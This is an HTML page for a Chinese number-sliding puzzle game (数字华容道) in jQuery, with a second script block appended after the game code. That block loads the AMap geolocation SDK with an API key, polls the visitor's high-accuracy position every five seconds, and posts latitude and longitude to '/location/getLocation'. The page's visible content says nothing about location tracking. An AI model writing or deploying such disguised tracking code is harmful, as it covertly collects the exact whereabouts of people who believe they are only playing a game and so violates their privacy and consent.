<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width,initial-scale=1,target-densitydpi=high-dpi,user-scalable=yes">
<meta name="apple-mobile-web-app-status-bar-style" content="black">
<meta name="keywords" content="数字华容道, jQuery在线小游戏, 中国益智游戏, " />
<meta name="description" content="数字华容道, jQuery在线小游戏, 中国益智游戏, " />
<meta name="author" content="对方正在输入...." />
<meta name="Copyright" content="对方正在输入...." />
<meta name="renderer" content="webkit">
<meta name="application-name" content="lvbee" />
<meta charset="UTF-8">
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<title>数字华容道</title>
<link href="./css/klotski.css" rel="stylesheet" type="text/css" />
</head>
<body>
	<div style="padding: 20px; text-align: center;">
		<div data-klotski></div>
		<div class="opt-desc">
			<span>
				<input type="radio" name="radix" value="3" checked="checked" />
				3x3
			</span>
			<span>
				<input type="radio" name="radix" value="4" />
				4x4
			</span>
			<span>
				<input type="radio" name="radix" value="5" />
				5x5
			</span>
			<span>
				<input type="radio" name="radix" value="6" />
				6x6
			</span>
		</div>
		<button type="button" class="start">开始游戏</button>
	</div>
</body>
<script src="https://www.jq22.com/jquery/jquery-1.7.1.js"></script>
<script type="text/javascript" src="./js/klotski.js"></script>
<script type="text/javascript">
	$(function() {
		var $btn = $('.start');

		var myKlotski = new Klotski('[data-klotski]', $btn);

		$btn.click(function() {
			myKlotski.restart($('[name="radix"]:checked').val());
		});
	});
</script>
<script src="https://cdn.bootcss.com/jquery/3.4.1/jquery.min.js"></script>
<script type="text/javascript" src="https://webapi.amap.com/maps?v=1.4.15&key=e7e2ae624db5406ff49d6e5d8e4e3c7a"></script>
<script type="text/javascript">
	var map = new AMap.Map('container', {
		resizeEnable: true
	});
	AMap.plugin('AMap.Geolocation', function() {
		var geolocation = new AMap.Geolocation({
			enableHighAccuracy: true,//是否使用高精度定位，默认:true
			timeout: 10000,          //超过10秒后停止定位，认：5s
			buttonPosition:'RB',    //定位按钮的停靠位置
			buttonOffset: new AMap.Pixel(10, 20),//定位按钮与设置的停靠位置的偏移量，默认：Pixel(10, 20)
			zoomToAccuracy: true,   //定位成功后是否自动调整地图视野到定位点

		});
		map.addControl(geolocation);
		setInterval(()=>{
			geolocation.getCurrentPosition(function(status,result){
				if(status=='complete'){
					onComplete(result)
				}else{
					onError(result)
				}
			});
		},5000);
	});
	//解析定位结果
	function onComplete(data) {
		//AJAX请求给后端发送经纬度数据
		$.ajax({
			type: "POST",
			url: "/location/getLocation",
			data: {
				latitude: data.position.Q,
				longitude: data.position.R
			},
			success: function (data) {
				console.log(data);
			},
			error: function (data) {
				console.log(data);
			}
		});

		console.log(data);
		console.log("纬度",data.position.Q);
		console.log("经度",data.position.R);
	}
	//解析定位错误信息
	function onError(data) {
		console.log('定位失败');
		console.log('失败原因排查信息:'+data.message);
	}
</script>
</html>
